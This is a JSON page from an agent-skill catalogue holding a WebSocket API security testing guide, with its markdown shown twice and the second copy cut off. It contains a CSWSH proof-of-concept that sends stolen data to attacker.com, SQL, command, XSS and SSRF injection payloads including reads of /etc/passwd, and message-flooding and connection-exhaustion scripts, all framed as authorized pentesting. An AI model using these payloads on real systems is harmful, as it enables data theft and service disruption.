[{"data":1,"prerenderedAt":-1},["ShallowReactive",2],{"skill:01M6GZX4E29SEFFTMSPBPHRXQT":3,"skill-same:01M6GZX4E29SEFFTMSPBPHRXQT":100},{"skillNo":4,"name":5,"nameZh":6,"description":7,"descriptionZh":6,"repositoryFullName":8,"ownerLogin":9,"ownerAvatarUrl":10,"ownerAccountNo":11,"ownerDisplayName":6,"repositoryNo":12,"starsCount":13,"licenseSpdxId":14,"licenseFileUrl":6,"sourceHtmlUrl":15,"categories":16,"keywords":30,"publishedAt":51,"linkOnly":52,"markdownContent":53,"markdownBody":54,"frontMatter":55,"refName":62,"commitSha":63,"skillDirectory":64,"forksCount":65,"repositoryHtmlUrl":66,"repositoryHomepageUrl":6,"ownerHtmlUrl":67,"ownerBlogUrl":6,"ownerDescription":6,"updatedAt":68,"install":69,"resources":82},"01M6GZX4E29SEFFTMSPBPHRXQT","testing-websocket-api-security",null,"Tests WebSocket API implementations for security vulnerabilities including missing authentication on WebSocket upgrade, Cross-Site WebSocket Hijacking (CSWSH), injection attacks through WebSocket messages, insufficient input validation, denial-of-service via message flooding, and information leakage through WebSocket frames. The tester intercepts WebSocket handshakes and messages using Burp Suite, crafts malicious payloads, and tests for authorization bypass on WebSocket channels. Activates for requests involving WebSocket security testing, WS penetration testing, CSWSH attack, or real-time API security assessment.","micsapp\u002Fmicstec-skills","micsapp","https:\u002F\u002Favatars.githubusercontent.com\u002Fu\u002F82411001?v=4","01M6GWCFQ6D3PV8EHNY62NN5VW","01M6GWCFVE1PA5HG0DKC7AMFJ3",4,"Apache-2.0","https:\u002F\u002Fgithub.com\u002Fmicsapp\u002Fmicstec-skills\u002Fblob\u002Fmaster\u002F_universal\u002Fcybersecurity-skills\u002Fskills\u002Ftesting-websocket-api-security\u002FSKILL.md",[17,22,25],{"categoryNo":18,"categoryName":19,"taxonomyType":20,"taxonomyTypeDesc":21},"01JBSEEDCAT000000000000008","测试与质量","SCENARIO","使用场景",{"categoryNo":23,"categoryName":24,"taxonomyType":20,"taxonomyTypeDesc":21},"01JBSEEDCAT000000000000010","后端与接口",{"categoryNo":26,"categoryName":27,"taxonomyType":28,"taxonomyTypeDesc":29},"01JBSEEDCAT000000000000030","开发工程师","PROFESSION","适用职业",[31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50],"security","websocket","api","testing","testing websocket api security","api security","cswsh","information","Input Validation","input","time","upgrade","message","security assessment","api-security","messages","authentication","assessment","cybersecurity","malicious","2026-11-10 10:12:30",false,"---\nname: testing-websocket-api-security\ndescription: >\n  Tests WebSocket API implementations for security vulnerabilities including missing\n  authentication on WebSocket upgrade, Cross-Site WebSocket Hijacking (CSWSH), injection\n  attacks through WebSocket messages, insufficient input validation, denial-of-service via\n  message flooding, and information leakage through WebSocket frames. The tester intercepts\n  WebSocket handshakes and messages using Burp Suite, crafts malicious payloads, and tests\n  for authorization bypass on WebSocket channels. Activates for requests involving WebSocket\n  security testing, WS penetration testing, CSWSH attack, or real-time API security assessment.\ndomain: cybersecurity\nsubdomain: api-security\ntags: [api-security, websocket, cswsh, real-time, injection, authentication]\nversion: 1.0.0\nauthor: mahipal\nlicense: Apache-2.0\n---\n# Testing WebSocket API Security\n\n## When to Use\n\n- Assessing real-time communication APIs that use WebSocket (ws:\u002F\u002F) or Secure WebSocket (wss:\u002F\u002F) protocols\n- Testing for Cross-Site WebSocket Hijacking (CSWSH) where an attacker's page connects to a legitimate WebSocket server\n- Evaluating authentication and authorization enforcement on WebSocket connections and messages\n- Testing input validation on WebSocket message payloads for injection vulnerabilities\n- Assessing WebSocket implementations for denial-of-service through message flooding or oversized frames\n\n**Do not use** without written authorization. WebSocket testing may disrupt real-time services and affect other connected users.\n\n## Prerequisites\n\n- Written authorization specifying the WebSocket endpoint and testing scope\n- Burp Suite Professional with WebSocket interception capability\n- Python 3.10+ with `websockets` and `asyncio` libraries\n- Browser developer tools for observing WebSocket handshakes and frames\n- wscat CLI tool for manual WebSocket interaction: `npm install -g wscat`\n- Knowledge of the WebSocket subprotocol in use (JSON-RPC, STOMP, custom)\n\n## Workflow\n\n### Step 1: WebSocket Endpoint Discovery and Handshake Analysis\n\n```python\nimport asyncio\nimport websockets\nimport json\nimport ssl\nimport time\n\nWS_URL = \"wss:\u002F\u002Ftarget-api.example.com\u002Fws\"\nAUTH_TOKEN = \"Bearer \u003Ctoken>\"\n\n# Capture and analyze the WebSocket handshake\nasync def analyze_handshake():\n    \"\"\"Analyze WebSocket upgrade request and response headers.\"\"\"\n    try:\n        async with websockets.connect(\n            WS_URL,\n            extra_headers={\"Authorization\": AUTH_TOKEN},\n            ssl=ssl.create_default_context()\n        ) as ws:\n            print(f\"Connected to: {WS_URL}\")\n            print(f\"Protocol: {ws.subprotocol}\")\n            print(f\"Extensions: {ws.extensions}\")\n\n            # Send a test message\n            test_msg = json.dumps({\"type\": \"ping\"})\n            await ws.send(test_msg)\n            response = await asyncio.wait_for(ws.recv(), timeout=5)\n            print(f\"Server response: {response}\")\n\n            return True\n    except websockets.exceptions.InvalidStatusCode as e:\n        print(f\"Connection rejected: {e.status_code}\")\n        return False\n    except Exception as e:\n        print(f\"Connection error: {e}\")\n        return False\n\nasyncio.run(analyze_handshake())\n```\n\n### Step 2: Authentication and Authorization Testing\n\n```python\nasync def test_ws_authentication():\n    \"\"\"Test if WebSocket requires authentication.\"\"\"\n    results = []\n\n    # Test 1: Connect without any authentication\n    try:\n        async with websockets.connect(WS_URL) as ws:\n            await ws.send(json.dumps({\"type\": \"get_user_data\"}))\n            resp = await asyncio.wait_for(ws.recv(), timeout=5)\n            results.append({\n                \"test\": \"No authentication\",\n                \"status\": \"VULNERABLE\",\n                \"response\": resp[:200]\n            })\n            print(f\"[VULN] WebSocket accessible without authentication\")\n    except websockets.exceptions.InvalidStatusCode:\n        results.append({\"test\": \"No authentication\", \"status\": \"SECURE\"})\n    except Exception as e:\n        results.append({\"test\": \"No authentication\", \"status\": f\"ERROR: {e}\"})\n\n    # Test 2: Connect with invalid token\n    try:\n        async with websockets.connect(WS_URL,\n            extra_headers={\"Authorization\": \"Bearer invalid_token\"}) as ws:\n            await ws.send(json.dumps({\"type\": \"get_user_data\"}))\n            resp = await asyncio.wait_for(ws.recv(), timeout=5)\n            results.append({\n                \"test\": \"Invalid token\",\n                \"status\": \"VULNERABLE\",\n                \"response\": resp[:200]\n            })\n    except websockets.exceptions.InvalidStatusCode:\n        results.append({\"test\": \"Invalid token\", \"status\": \"SECURE\"})\n    except Exception as e:\n        results.append({\"test\": \"Invalid token\", \"status\": f\"ERROR: {e}\"})\n\n    # Test 3: Connect with expired token\n    expired_token = \"Bearer eyJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2MDAwMDAwMDB9.expired\"\n    try:\n        async with websockets.connect(WS_URL,\n            extra_headers={\"Authorization\": expired_token}) as ws:\n            await ws.send(json.dumps({\"type\": \"get_user_data\"}))\n            resp = await asyncio.wait_for(ws.recv(), timeout=5)\n            results.append({\"test\": \"Expired token\", \"status\": \"VULNERABLE\"})\n    except (websockets.exceptions.InvalidStatusCode, Exception):\n        results.append({\"test\": \"Expired token\", \"status\": \"SECURE\"})\n\n    # Test 4: Token in query parameter (leakage risk)\n    try:\n        async with websockets.connect(f\"{WS_URL}?token={AUTH_TOKEN}\") as ws:\n            await ws.send(json.dumps({\"type\": \"ping\"}))\n            resp = await asyncio.wait_for(ws.recv(), timeout=5)\n            results.append({\n                \"test\": \"Token in URL\",\n                \"status\": \"INFO - Token accepted in query parameter (may leak in logs)\"\n            })\n    except Exception:\n        results.append({\"test\": \"Token in URL\", \"status\": \"REJECTED\"})\n\n    for r in results:\n        print(f\"  [{r['status'][:10]}] {r['test']}\")\n\n    return results\n\nasyncio.run(test_ws_authentication())\n```\n\n### Step 3: Cross-Site WebSocket Hijacking (CSWSH) Testing\n\n```python\nasync def test_cswsh():\n    \"\"\"Test for Cross-Site WebSocket Hijacking vulnerability.\"\"\"\n    # CSWSH occurs when the WebSocket server does not validate the Origin header\n    # An attacker's website can connect to the legitimate WebSocket and steal data\n\n    origins_to_test = [\n        None,                                    # No Origin header\n        \"https:\u002F\u002Fevil.com\",                      # Attacker domain\n        \"https:\u002F\u002Ftarget-api.example.com.evil.com\",  # Subdomain confusion\n        \"null\",                                  # Null origin (sandboxed iframe)\n        \"https:\u002F\u002Ftarget-api.example.com\",        # Legitimate origin\n        \"http:\u002F\u002Ftarget-api.example.com\",         # HTTP downgrade\n    ]\n\n    print(\"=== CSWSH Testing ===\\n\")\n    for origin in origins_to_test:\n        try:\n            headers = {\"Authorization\": AUTH_TOKEN}\n            if origin:\n                headers[\"Origin\"] = origin\n\n            async with websockets.connect(WS_URL, extra_headers=headers) as ws:\n                # Try to receive data that should be restricted\n                await ws.send(json.dumps({\"type\": \"get_messages\"}))\n                resp = await asyncio.wait_for(ws.recv(), timeout=5)\n\n                if origin and origin != \"https:\u002F\u002Ftarget-api.example.com\":\n                    print(f\"[CSWSH] Origin '{origin}' -> ACCEPTED (data received)\")\n                else:\n                    print(f\"[OK] Origin '{origin}' -> Accepted (legitimate)\")\n        except websockets.exceptions.InvalidStatusCode as e:\n            print(f\"[BLOCKED] Origin '{origin}' -> Rejected ({e.status_code})\")\n        except Exception as e:\n            print(f\"[ERROR] Origin '{origin}' -> {e}\")\n\nasyncio.run(test_cswsh())\n\n# PoC HTML page for CSWSH exploitation\nCSWSH_POC = \"\"\"\n\u003C!DOCTYPE html>\n\u003Chtml>\n\u003Chead>\u003Ctitle>CSWSH PoC\u003C\u002Ftitle>\u003C\u002Fhead>\n\u003Cbody>\n\u003Cscript>\n\u002F\u002F This page, hosted on attacker.com, connects to the target WebSocket\n\u002F\u002F If the server doesn't validate Origin, the victim's browser will\n\u002F\u002F send cookies\u002Fcredentials and the attacker receives the data\n\nvar ws = new WebSocket(\"wss:\u002F\u002Ftarget-api.example.com\u002Fws\");\n\nws.onopen = function() {\n    console.log(\"Connected to target WebSocket\");\n    ws.send(JSON.stringify({type: \"get_messages\"}));\n    ws.send(JSON.stringify({type: \"get_user_data\"}));\n};\n\nws.onmessage = function(event) {\n    console.log(\"Stolen data:\", event.data);\n    \u002F\u002F Exfiltrate to attacker server\n    fetch(\"https:\u002F\u002Fattacker.com\u002Fcollect\", {\n        method: \"POST\",\n        body: event.data\n    });\n};\n\u003C\u002Fscript>\n\u003Cp>Loading... (CSWSH attack in progress)\u003C\u002Fp>\n\u003C\u002Fbody>\n\u003C\u002Fhtml>\n\"\"\"\n```\n\n### Step 4: WebSocket Message Injection Testing\n\n```python\nasync def test_ws_injection():\n    \"\"\"Test WebSocket messages for injection vulnerabilities.\"\"\"\n\n    INJECTION_PAYLOADS = {\n        \"sql\": [\n            {\"type\": \"search\", \"query\": \"' OR '1'='1\"},\n            {\"type\": \"search\", \"query\": \"'; DROP TABLE messages;--\"},\n            {\"type\": \"get_message\", \"id\": \"1 UNION SELECT username,password FROM users--\"},\n        ],\n        \"nosql\": [\n            {\"type\": \"search\", \"query\": {\"$ne\": \"\"}},\n            {\"type\": \"get_user\", \"filter\": {\"$gt\": \"\"}},\n        ],\n        \"xss\": [\n            {\"type\": \"send_message\", \"content\": \"\u003Cscript>alert('xss')\u003C\u002Fscript>\"},\n            {\"type\": \"send_message\", \"content\": \"\u003Cimg src=x onerror=alert(1)>\"},\n            {\"type\": \"update_name\", \"name\": \"Test\u003Cscript>document.location='https:\u002F\u002Fevil.com'\u003C\u002Fscript>\"},\n        ],\n        \"command\": [\n            {\"type\": \"process\", \"file\": \"test; cat \u002Fetc\u002Fpasswd\"},\n            {\"type\": \"convert\", \"input\": \"test | id\"},\n        ],\n        \"ssrf\": [\n            {\"type\": \"load_url\", \"url\": \"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F\"},\n            {\"type\": \"webhook\", \"callback\": \"http:\u002F\u002Flocalhost:6379\u002F\"},\n        ],\n        \"overflow\": [\n            {\"type\": \"send_message\", \"content\": \"A\" * 100000},\n            {\"type\": \"search\", \"query\": \"B\" * 1000000},\n        ],\n    }\n\n    async with websockets.connect(WS_URL,\n        extra_headers={\"Authorization\": AUTH_TOKEN}) as ws:\n\n        for category, payloads in INJECTION_PAYLOADS.items():\n            for payload in payloads:\n                try:\n                    await ws.send(json.dumps(payload))\n                    resp = await asyncio.wait_for(ws.recv(), timeout=5)\n\n                    # Analyze response for injection indicators\n                    resp_lower = resp.lower()\n                    indicators = []\n                    if any(kw in resp_lower for kw in [\"sql\", \"syntax\", \"mysql\", \"postgresql\"]):\n                        indicators.append(\"SQL error\")\n                    if any(kw in resp_lower for kw in [\"root:\", \"uid=\", \"etc\u002Fpasswd\"]):\n                        indicators.append(\"Command output\")\n                    if any(kw in resp_lower for kw in [\"ami-id\", \"instance-id\", \"metadata\"]):\n                        indicators.append(\"SSRF data\")\n                    if \"script\" in resp_lower and \"xss\" not in category:\n                        indicators.append(\"Reflected XSS\")\n\n                    if indicators:\n                        print(f\"[{category.upper()}] {json.dumps(payload)[:60]} -> {indicators}\")\n                    elif len(resp) > 10000:\n                        print(f\"[OVERFLOW] Large response: {len(resp)} bytes\")\n                except asyncio.TimeoutError:\n                    pass\n                except websockets.exceptions.ConnectionClosed:\n                    print(f\"[CRASH] Connection closed after {category} payload\")\n                    # Reconnect\n                    break\n\nasyncio.run(test_ws_injection())\n```\n\n### Step 5: Denial-of-Service Testing\n\n```python\nasync def test_ws_dos():\n    \"\"\"Test WebSocket for DoS vulnerabilities.\"\"\"\n    print(\"=== WebSocket DoS Testing ===\\n\")\n\n    # Test 1: Message flooding\n    async def flood_test():\n        async with websockets.connect(WS_URL,\n            extra_headers={\"Authorization\": AUTH_TOKEN}) as ws:\n            count = 0\n            start = time.time()\n            for i in range(10000):\n                try:\n                    await ws.send(json.dumps({\"type\": \"ping\", \"id\": i}))\n                    count += 1\n                except websockets.exceptions.ConnectionClosed:\n                    break\n            elapsed = time.time() - start\n            print(f\"  Flood test: {count} messages in {elapsed:.1f}s ({count\u002Felapsed:.0f} msg\u002Fs)\")\n\n    await flood_test()\n\n    # Test 2: Large message\n    async def large_message_test():\n        sizes = [1024, 10240, 102400, 1024000, 10240000]  # 1KB to 10MB\n        async with websockets.connect(WS_URL,\n            extra_headers={\"Authorization\": AUTH_TOKEN},\n            max_size=20*1024*1024) as ws:\n            for size in sizes:\n                try:\n                    large_msg = json.dumps({\"type\": \"data\", \"payload\": \"A\" * size})\n                    await ws.send(large_msg)\n                    resp = await asyncio.wait_for(ws.recv(), timeout=5)\n                    print(f\"  Large message ({size} bytes): Accepted\")\n                except (websockets.exceptions.ConnectionClosed, asyncio.TimeoutError) as e:\n                    print(f\"  Large message ({size} bytes): Rejected\u002FDisconnected\")\n                    break\n\n    await large_message_test()\n\n    # Test 3: Connection exhaustion\n    async def connection_exhaustion():\n        connections = []\n        for i in range(100):\n            try:\n                ws = await websockets.connect(WS_URL,\n                    extra_headers={\"Authorization\": AUTH_TOKEN})\n                connections.append(ws)\n            except Exception:\n                break\n        print(f\"  Connection exhaustion: {len(connections)} concurrent connections established\")\n        for ws in connections:\n            await ws.close()\n\n    await connection_exhaustion()\n\nasyncio.run(test_ws_dos())\n```\n\n## Key Concepts\n\n| Term | Definition |\n|------|------------|\n| **WebSocket** | Full-duplex communication protocol over a single TCP connection, established via HTTP upgrade handshake |\n| **CSWSH** | Cross-Site WebSocket Hijacking - an attack where a malicious website initiates a WebSocket connection to a legitimate server using the victim's browser credentials |\n| **Origin Validation** | Server-side check of the Origin header during WebSocket handshake to prevent CSWSH by rejecting connections from unauthorized domains |\n| **WebSocket Frame** | The basic unit of data in WebSocket communication, containing opcode, masking, payload length, and payload data |\n| **Upgrade Handshake** | HTTP request with `Upgrade: websocket` and `Connection: Upgrade` headers that establishes the WebSocket connection |\n| **Message Flooding** | Sending a large volume of WebSocket messages to exhaust server resources (memory, CPU, bandwidth) |\n\n## Tools & Systems\n\n- **Burp Suite Professional**: Intercepts WebSocket handshakes and messages, allows message modification and replay\n- **OWASP ZAP**: WebSocket testing with message fuzzing, interception, and breakpoint capabilities\n- **wscat**: Command-line WebSocket client for manual testing: `wscat -c wss:\u002F\u002Ftarget.com\u002Fws -H \"Authorization: Bearer token\"`\n- **websocat**: Advanced CLI WebSocket tool with proxy, broadcast, and scripting capabilities\n- **Autobahn TestSuite**: Comprehensive WebSocket protocol compliance and security testing framework\n\n## Common Scenarios\n\n### Scenario: Chat Application WebSocket Security Assessment\n\n**Context**: A messaging application uses WebSocket for real-time chat. The WebSocket endpoint handles message delivery, typing indicators, read receipts, and user presence. Authentication is cookie-based.\n\n**Approach**:\n1. Analyze the WebSocket handshake: connection established at `wss:\u002F\u002Fchat.example.com\u002Fws` with session cookie authentication\n2. Test CSWSH: WebSocket server does not validate the Origin header - an attacker's page can connect and receive the victim's messages\n3. Test authentication: WebSocket accepts connections with expired session cookies (session validation only at handshake, not for subsequent messages)\n4. Test authorization: User A can send messages to private channels they are not a member of by crafting the channel ID\n5. Test injection: Message content is stored without sanitization; XSS payload in message body executes in other users' browsers\n6. Test message flooding: Server accepts 5000 messages per second without rate limiting, causing CPU spike\n7. Find that WebSocket messages include the sender's internal user ID, email, and IP address (information leakage)\n\n**Pitfalls**:\n- Not testing CSWSH because the application uses token-based authentication (cookies are automatically sent with WebSocket)\n- Only testing the initial handshake authentication without verifying ongoing message authorization\n- Missing injection vulnerabilities because payloads are in JSON WebSocket frames instead of HTTP parameters\n- Not testing reconnection behavior (does the server re-validate authentication on reconnect?)\n- Ignoring that WebSocket connections may bypass HTTP-level rate limiting and WAF rules\n\n## Output Format\n\n```\n## Finding: Cross-Site WebSocket Hijacking Enables Real-Time Data Theft\n\n**ID**: API-WS-001\n**Severity**: High (CVSS 8.1)\n**Affected Endpoint**: wss:\u002F\u002Fchat.example.com\u002Fws\n\n**Description**:\nThe WebSocket server does not validate the Origin header during the\nhandshake. An attacker can host a malicious web page that opens a\nWebSocket connection to the chat server using the victim's session\ncookie. All messages, typing indicators, and presence data are\nforwarded to the attacker in real time.\n\n**Proof of Concept**:\nHost the CSWSH PoC page on attacker.com. When a logged-in user\nvisits the page, the JavaScript establishes a WebSocket connection\nto the chat server. The server authenticates the connection using\nthe victim's cookie and delivers all real-time chat data to the\nattacker's connection.\n\n**Impact**:\nReal-time interception of all private messages, presence data,\nand typing indicators for any user who visits the attacker's page.\n\n**Remediation**:\n1. Validate the Origin header against an allowlist of legitimate domains\n2. Implement CSRF tokens in the WebSocket handshake URL\n3. Use token-based authentication (Authorization header) instead of cookies for WebSocket\n4. Implement per-message authorization checks, not just connection-level authentication\n5. Add rate limiting on WebSocket message volume per connection\n```\n","# Testing WebSocket API Security\n\n## When to Use\n\n- Assessing real-time communication APIs that use WebSocket (ws:\u002F\u002F) or Secure WebSocket (wss:\u002F\u002F) protocols\n- Testing for Cross-Site WebSocket Hijacking (CSWSH) where an attacker's page connects to a legitimate WebSocket server\n- Evaluating authentication and authorization enforcement on WebSocket connections and messages\n- Testing input validation on WebSocket message payloads for injection vulnerabilities\n- Assessing WebSocket implementations for denial-of-service through message flooding or oversized frames\n\n**Do not use** without written authorization. WebSocket testing may disrupt real-time services and affect other connected users.\n\n## Prerequisites\n\n- Written authorization specifying the WebSocket endpoint and testing scope\n- Burp Suite Professional with WebSocket interception capability\n- Python 3.10+ with `websockets` and `asyncio` libraries\n- Browser developer tools for observing WebSocket handshakes and frames\n- wscat CLI tool for manual WebSocket interaction: `npm install -g wscat`\n- Knowledge of the WebSocket subprotocol in use (JSON-RPC, STOMP, custom)\n\n## Workflow\n\n### Step 1: WebSocket Endpoint Discovery and Handshake Analysis\n\n```python\nimport asyncio\nimport websockets\nimport json\nimport ssl\nimport time\n\nWS_URL = \"wss:\u002F\u002Ftarget-api.example.com\u002Fws\"\nAUTH_TOKEN = \"Bearer \u003Ctoken>\"\n\n# Capture and analyze the WebSocket handshake\nasync def analyze_handshake():\n    \"\"\"Analyze WebSocket upgrade request and response headers.\"\"\"\n    try:\n        async with websockets.connect(\n            WS_URL,\n            extra_headers={\"Authorization\": AUTH_TOKEN},\n            ssl=ssl.create_default_context()\n        ) as ws:\n            print(f\"Connected to: {WS_URL}\")\n            print(f\"Protocol: {ws.subprotocol}\")\n            print(f\"Extensions: {ws.extensions}\")\n\n            # Send a test message\n            test_msg = json.dumps({\"type\": \"ping\"})\n            await ws.send(test_msg)\n            response = await asyncio.wait_for(ws.recv(), timeout=5)\n            print(f\"Server response: {response}\")\n\n            return True\n    except websockets.exceptions.InvalidStatusCode as e:\n        print(f\"Connection rejected: {e.status_code}\")\n        return False\n    except Exception as e:\n        print(f\"Connection error: {e}\")\n        return False\n\nasyncio.run(analyze_handshake())\n```\n\n### Step 2: Authentication and Authorization Testing\n\n```python\nasync def test_ws_authentication():\n    \"\"\"Test if WebSocket requires authentication.\"\"\"\n    results = []\n\n    # Test 1: Connect without any authentication\n    try:\n        async with websockets.connect(WS_URL) as ws:\n            await ws.send(json.dumps({\"type\": \"get_user_data\"}))\n            resp = await asyncio.wait_for(ws.recv(), timeout=5)\n            results.append({\n                \"test\": \"No authentication\",\n                \"status\": \"VULNERABLE\",\n                \"response\": resp[:200]\n            })\n            print(f\"[VULN] WebSocket accessible without authentication\")\n    except websockets.exceptions.InvalidStatusCode:\n        results.append({\"test\": \"No authentication\", \"status\": \"SECURE\"})\n    except Exception as e:\n        results.append({\"test\": \"No authentication\", \"status\": f\"ERROR: {e}\"})\n\n    # Test 2: Connect with invalid token\n    try:\n        async with websockets.connect(WS_URL,\n            extra_headers={\"Authorization\": \"Bearer invalid_token\"}) as ws:\n            await ws.send(json.dumps({\"type\": \"get_user_data\"}))\n            resp = await asyncio.wait_for(ws.recv(), timeout=5)\n            results.append({\n                \"test\": \"Invalid token\",\n                \"status\": \"VULNERABLE\",\n                \"response\": resp[:200]\n            })\n    except websockets.exceptions.InvalidStatusCode:\n        results.append({\"test\": \"Invalid token\", \"status\": \"SECURE\"})\n    except Exception as e:\n        results.append({\"test\": \"Invalid token\", \"status\": f\"ERROR: {e}\"})\n\n    # Test 3: Connect with expired token\n    expired_token = \"Bearer eyJhbGciOiJIUzI1NiJ9.eyJleHAiOjE2MDAwMDAwMDB9.expired\"\n    try:\n        async with websockets.connect(WS_URL,\n            extra_headers={\"Authorization\": expired_token}) as ws:\n            await ws.send(json.dumps({\"type\": \"get_user_data\"}))\n            resp = await asyncio.wait_for(ws.recv(), timeout=5)\n            results.append({\"test\": \"Expired token\", \"status\": \"VULNERABLE\"})\n    except (websockets.exceptions.InvalidStatusCode, Exception):\n        results.append({\"test\": \"Expired token\", \"status\": \"SECURE\"})\n\n    # Test 4: Token in query parameter (leakage risk)\n    try:\n        async with websockets.connect(f\"{WS_URL}?token={AUTH_TOKEN}\") as ws:\n            await ws.send(json.dumps({\"type\": \"ping\"}))\n            resp = await asyncio.wait_for(ws.recv(), timeout=5)\n            results.append({\n                \"test\": \"Token in URL\",\n                \"status\": \"INFO - Token accepted in query parameter (may leak in logs)\"\n            })\n    except Exception:\n        results.append({\"test\": \"Token in URL\", \"status\": \"REJECTED\"})\n\n    for r in results:\n        print(f\"  [{r['status'][:10]}] {r['test']}\")\n\n    return results\n\nasyncio.run(test_ws_authentication())\n```\n\n### Step 3: Cross-Site WebSocket Hijacking (CSWSH) Testing\n\n```python\nasync def test_cswsh():\n    \"\"\"Test for Cross-Site WebSocket Hijacking vulnerability.\"\"\"\n    # CSWSH occurs when the WebSocket server does not validate the Origin header\n    # An attacker's website can connect to the legitimate WebSocket and steal data\n\n    origins_to_test = [\n        None,                                    # No Origin header\n        \"https:\u002F\u002Fevil.com\",                      # Attacker domain\n        \"https:\u002F\u002Ftarget-api.example.com.evil.com\",  # Subdomain confusion\n        \"null\",                                  # Null origin (sandboxed iframe)\n        \"https:\u002F\u002Ftarget-api.example.com\",        # Legitimate origin\n        \"http:\u002F\u002Ftarget-api.example.com\",         # HTTP downgrade\n    ]\n\n    print(\"=== CSWSH Testing ===\\n\")\n    for origin in origins_to_test:\n        try:\n            headers = {\"Authorization\": AUTH_TOKEN}\n            if origin:\n                headers[\"Origin\"] = origin\n\n            async with websockets.connect(WS_URL, extra_headers=headers) as ws:\n                # Try to receive data that should be restricted\n                await ws.send(json.dumps({\"type\": \"get_messages\"}))\n                resp = await asyncio.wait_for(ws.recv(), timeout=5)\n\n                if origin and origin != \"https:\u002F\u002Ftarget-api.example.com\":\n                    print(f\"[CSWSH] Origin '{origin}' -> ACCEPTED (data received)\")\n                else:\n                    print(f\"[OK] Origin '{origin}' -> Accepted (legitimate)\")\n        except websockets.exceptions.InvalidStatusCode as e:\n            print(f\"[BLOCKED] Origin '{origin}' -> Rejected ({e.status_code})\")\n        except Exception as e:\n            print(f\"[ERROR] Origin '{origin}' -> {e}\")\n\nasyncio.run(test_cswsh())\n\n# PoC HTML page for CSWSH exploitation\nCSWSH_POC = \"\"\"\n\u003C!DOCTYPE html>\n\u003Chtml>\n\u003Chead>\u003Ctitle>CSWSH PoC\u003C\u002Ftitle>\u003C\u002Fhead>\n\u003Cbody>\n\u003Cscript>\n\u002F\u002F This page, hosted on attacker.com, connects to the target WebSocket\n\u002F\u002F If the server doesn't validate Origin, the victim's browser will\n\u002F\u002F send cookies\u002Fcredentials and the attacker receives the data\n\nvar ws = new WebSocket(\"wss:\u002F\u002Ftarget-api.example.com\u002Fws\");\n\nws.onopen = function() {\n    console.log(\"Connected to target WebSocket\");\n    ws.send(JSON.stringify({type: \"get_messages\"}));\n    ws.send(JSON.stringify({type: \"get_user_data\"}));\n};\n\nws.onmessage = function(event) {\n    console.log(\"Stolen data:\", event.data);\n    \u002F\u002F Exfiltrate to attacker server\n    fetch(\"https:\u002F\u002Fattacker.com\u002Fcollect\", {\n        method: \"POST\",\n        body: event.data\n    });\n};\n\u003C\u002Fscript>\n\u003Cp>Loading... (CSWSH attack in progress)\u003C\u002Fp>\n\u003C\u002Fbody>\n\u003C\u002Fhtml>\n\"\"\"\n```\n\n### Step 4: WebSocket Message Injection Testing\n\n```python\nasync def test_ws_injection():\n    \"\"\"Test WebSocket messages for injection vulnerabilities.\"\"\"\n\n    INJECTION_PAYLOADS = {\n        \"sql\": [\n            {\"type\": \"search\", \"query\": \"' OR '1'='1\"},\n            {\"type\": \"search\", \"query\": \"'; DROP TABLE messages;--\"},\n            {\"type\": \"get_message\", \"id\": \"1 UNION SELECT username,password FROM users--\"},\n        ],\n        \"nosql\": [\n            {\"type\": \"search\", \"query\": {\"$ne\": \"\"}},\n            {\"type\": \"get_user\", \"filter\": {\"$gt\": \"\"}},\n        ],\n        \"xss\": [\n            {\"type\": \"send_message\", \"content\": \"\u003Cscript>alert('xss')\u003C\u002Fscript>\"},\n            {\"type\": \"send_message\", \"content\": \"\u003Cimg src=x onerror=alert(1)>\"},\n            {\"type\": \"update_name\", \"name\": \"Test\u003Cscript>document.location='https:\u002F\u002Fevil.com'\u003C\u002Fscript>\"},\n        ],\n        \"command\": [\n            {\"type\": \"process\", \"file\": \"test; cat \u002Fetc\u002Fpasswd\"},\n            {\"type\": \"convert\", \"input\": \"test | id\"},\n        ],\n        \"ssrf\": [\n            {\"type\": \"load_url\", \"url\": \"http:\u002F\u002F169.254.169.254\u002Flatest\u002Fmeta-data\u002F\"},\n            {\"type\": \"webhook\", \"callback\": \"http:\u002F\u002Flocalhost:6379\u002F\"},\n        ],\n        \"overflow\": [\n            {\"type\": \"send_message\", \"content\": \"A\" * 100000},\n            {\"type\": \"search\", \"query\": \"B\" * 1000000},\n        ],\n    }\n\n    async with websockets.connect(WS_URL,\n        extra_headers={\"Authorization\": AUTH_TOKEN}) as ws:\n\n        for category, payloads in INJECTION_PAYLOADS.items():\n            for payload in payloads:\n                try:\n                    await ws.send(json.dumps(payload))\n                    resp = await asyncio.wait_for(ws.recv(), timeout=5)\n\n                    # Analyze response for injection indicators\n                    resp_lower = resp.lower()\n                    indicators = []\n                    if any(kw in resp_lower for kw in [\"sql\", \"syntax\", \"mysql\", \"postgresql\"]):\n                        indicators.append(\"SQL error\")\n                    if any(kw in resp_lower for kw in [\"root:\", \"uid=\", \"etc\u002Fpasswd\"]):\n                        indicators.append(\"Command output\")\n                    if any(kw in resp_lower for kw in [\"ami-id\", \"instance-id\", \"metadata\"]):\n                        indicators.append(\"SSRF data\")\n                    if \"script\" in resp_lower and \"xss\" not in category:\n                        indicators.append(\"Reflected XSS\")\n\n                    if indicators:\n                        print(f\"[{category.upper()}] {json.dumps(payload)[:60]} -> {indicators}\")\n                    elif len(resp) > 10000:\n                        print(f\"[OVERFLOW] Large response: {len(resp)} bytes\")\n                except asyncio.TimeoutError:\n                    pass\n                except websockets.exceptions.ConnectionClosed:\n                    print(f\"[CRASH] Connection closed after {category} payload\")\n                    # Reconnect\n                    break\n\nasyncio.run(test_ws_injection())\n```\n\n### Step 5: Denial-of-Service Testing\n\n```python\nasync def test_ws_dos():\n    \"\"\"Test WebSocket for DoS vulnerabilities.\"\"\"\n    print(\"=== WebSocket DoS Testing ===\\n\")\n\n    # Test 1: Message flooding\n    async def flood_test():\n        async with websockets.connect(WS_URL,\n            extra_headers={\"Authorization\": AUTH_TOKEN}) as ws:\n            count = 0\n            start = time.time()\n            for i in range(10000):\n                try:\n                    await ws.send(json.dumps({\"type\": \"ping\", \"id\": i}))\n                    count += 1\n                except websockets.exceptions.ConnectionClosed:\n                    break\n            elapsed = time.time() - start\n            print(f\"  Flood test: {count} messages in {elapsed:.1f}s ({count\u002Felapsed:.0f} msg\u002Fs)\")\n\n    await flood_test()\n\n    # Test 2: Large message\n    async def large_message_test():\n        sizes = [1024, 10240, 102400, 1024000, 10240000]  # 1KB to 10MB\n        async with 